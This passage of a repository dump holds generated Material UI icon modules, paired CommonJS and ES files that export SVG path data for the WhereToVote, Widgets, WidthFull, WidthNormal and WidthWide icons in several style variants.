    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m-1.53 12-3.48-3.48L8.4 9.1l2.07 2.07 5.13-5.14 1.41 1.42z\"\n}), 'WhereToVoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C8.14 2 5 5.14 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.86-3.14-7-7-7m-1.53 12-3.48-3.48L8.4 9.1l2.07 2.07 5.13-5.14 1.41 1.42z\"\n}), 'WhereToVoteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3C8.69 3 6 5.69 6 9c0 3.54 3.82 8.86 6 11.47 1.75-2.11 6-7.63 6-11.47 0-3.31-2.69-6-6-6m-1.53 11-3.18-3.18L8.71 9.4l1.77 1.77 4.6-4.6 1.41 1.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 1C7.59 1 4 4.59 4 9c0 5.57 6.96 13.34 7.26 13.67l.74.82.74-.82C13.04 22.34 20 14.57 20 9c0-4.41-3.59-8-8-8m0 19.47C9.82 17.86 6 12.54 6 9c0-3.31 2.69-6 6-6s6 2.69 6 6c0 3.83-4.25 9.36-6 11.47m3.07-13.9-4.6 4.6L8.71 9.4l-1.42 1.42L10.47 14l6.01-6.01z\"\n}, \"1\")], 'WhereToVoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WhereToVoteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3C8.69 3 6 5.69 6 9c0 3.54 3.82 8.86 6 11.47 1.75-2.11 6-7.63 6-11.47 0-3.31-2.69-6-6-6m-1.53 11-3.18-3.18L8.71 9.4l1.77 1.77 4.6-4.6 1.41 1.41z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 1C7.59 1 4 4.59 4 9c0 5.57 6.96 13.34 7.26 13.67l.74.82.74-.82C13.04 22.34 20 14.57 20 9c0-4.41-3.59-8-8-8m0 19.47C9.82 17.86 6 12.54 6 9c0-3.31 2.69-6 6-6s6 2.69 6 6c0 3.83-4.25 9.36-6 11.47m3.07-13.9-4.6 4.6L8.71 9.4l-1.42 1.42L10.47 14l6.01-6.01z\"\n}, \"1\")], 'WhereToVoteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Widgets.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13v8h8v-8zM3 21h8v-8H3zM3 3v8h8V3zm13.66-1.31L11 7.34 16.66 13l5.66-5.66z\"\n}), 'Widgets');"
  },
  {
    "path": "packages/mui-icons-material/lib/Widgets.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13v8h8v-8zM3 21h8v-8H3zM3 3v8h8V3zm13.66-1.31L11 7.34 16.66 13l5.66-5.66z\"\n}), 'Widgets');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.66 4.52 2.83 2.83-2.83 2.83-2.83-2.83zM9 5v4H5V5zm10 10v4h-4v-4zM9 15v4H5v-4zm7.66-13.31L11 7.34 16.66 13l5.66-5.66zM11 3H3v8h8zm10 10h-8v8h8zm-10 0H3v8h8z\"\n}), 'WidgetsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.66 4.52 2.83 2.83-2.83 2.83-2.83-2.83zM9 5v4H5V5zm10 10v4h-4v-4zM9 15v4H5v-4zm7.66-13.31L11 7.34 16.66 13l5.66-5.66zM11 3H3v8h8zm10 10h-8v8h8zm-10 0H3v8h8z\"\n}), 'WidgetsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 14v6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1m-9 7h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1M3 4v6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1m12.95-1.6L11.7 6.64c-.39.39-.39 1.02 0 1.41l4.25 4.25c.39.39 1.02.39 1.41 0l4.25-4.25c.39-.39.39-1.02 0-1.41L17.37 2.4c-.39-.39-1.03-.39-1.42 0\"\n}), 'WidgetsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 14v6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1h-6c-.55 0-1 .45-1 1m-9 7h6c.55 0 1-.45 1-1v-6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1M3 4v6c0 .55.45 1 1 1h6c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1m12.95-1.6L11.7 6.64c-.39.39-.39 1.02 0 1.41l4.25 4.25c.39.39 1.02.39 1.41 0l4.25-4.25c.39-.39.39-1.02 0-1.41L17.37 2.4c-.39-.39-1.03-.39-1.42 0\"\n}), 'WidgetsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13v8h8v-8zM3 21h8v-8H3zM3 3v8h8V3zm13.66-1.31L11 7.34 16.66 13l5.66-5.66z\"\n}), 'WidgetsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13v8h8v-8zM3 21h8v-8H3zM3 3v8h8V3zm13.66-1.31L11 7.34 16.66 13l5.66-5.66z\"\n}), 'WidgetsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h4v4H5zm10 10h4v4h-4zM5 15h4v4H5zM16.66 4.52l-2.83 2.82 2.83 2.83 2.83-2.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.66 1.69 11 7.34 16.66 13l5.66-5.66zm-2.83 5.65 2.83-2.83 2.83 2.83-2.83 2.83zM3 3v8h8V3zm6 6H5V5h4zM3 21h8v-8H3zm2-6h4v4H5zm8-2v8h8v-8zm6 6h-4v-4h4z\"\n}, \"1\")], 'WidgetsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidgetsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h4v4H5zm10 10h4v4h-4zM5 15h4v4H5zM16.66 4.52l-2.83 2.82 2.83 2.83 2.83-2.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.66 1.69 11 7.34 16.66 13l5.66-5.66zm-2.83 5.65 2.83-2.83 2.83 2.83-2.83 2.83zM3 3v8h8V3zm6 6H5V5h4zM3 21h8v-8H3zm2-6h4v4H5zm8-2v8h8v-8zm6 6h-4v-4h4z\"\n}, \"1\")], 'WidgetsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFull.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h1v12H4zm16 12h-1V6h1z\"\n}), 'WidthFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFull.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h1v12H4zm16 12h-1V6h1z\"\n}), 'WidthFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h1v12zm3 0V6h10v12zm13 0h-1V6h1z\"\n}), 'WidthFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h1v12zm3 0V6h10v12zm13 0h-1V6h1z\"\n}), 'WidthFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h1v12H4zm16 12h-1V6h1z\"\n}), 'WidthFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h1v12H4zm16 12h-1V6h1z\"\n}), 'WidthFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM4 6h1v12H4zm16 12h-1V6h1z\"\n}), 'WidthFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM4 6h1v12H4zm16 12h-1V6h1z\"\n}), 'WidthFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 6h10v12H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M5 18H4V6h1zm12 0H7V6h10zm3 0h-1V6h1z\"\n}, \"1\")], 'WidthFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthFullTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 6h10v12H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M5 18H4V6h1zm12 0H7V6h10zm3 0h-1V6h1z\"\n}, \"1\")], 'WidthFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h4v12H4zm16 12h-4V6h4z\"\n}), 'WidthNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h4v12H4zm16 12h-4V6h4z\"\n}), 'WidthNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h4v12zm6 0V6h4v12zm10 0h-4V6h4z\"\n}), 'WidthNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h4v12zm6 0V6h4v12zm10 0h-4V6h4z\"\n}), 'WidthNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h4v12H4zm16 12h-4V6h4z\"\n}), 'WidthNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h4v12H4zm16 12h-4V6h4z\"\n}), 'WidthNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM4 6h4v12H4zm16 12h-4V6h4z\"\n}), 'WidthNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM4 6h4v12H4zm16 12h-4V6h4z\"\n}), 'WidthNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6h4v12h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\"\n}, \"1\")], 'WidthNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthNormalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6h4v12h-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M8 18H4V6h4zm6 0h-4V6h4zm6 0h-4V6h4z\"\n}, \"1\")], 'WidthNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWide.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h2v12H4zm16 12h-2V6h2z\"\n}), 'WidthWide');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWide.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h2v12H4zm16 12h-2V6h2z\"\n}), 'WidthWide');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2v12zm4 0V6h8v12zm12 0h-2V6h2z\"\n}), 'WidthWideOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 18V6h2v12zm4 0V6h8v12zm12 0h-2V6h2z\"\n}), 'WidthWideOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h2v12H4zm16 12h-2V6h2z\"\n}), 'WidthWideRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h2v12H4zm16 12h-2V6h2z\"\n}), 'WidthWideRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideSharp.js",
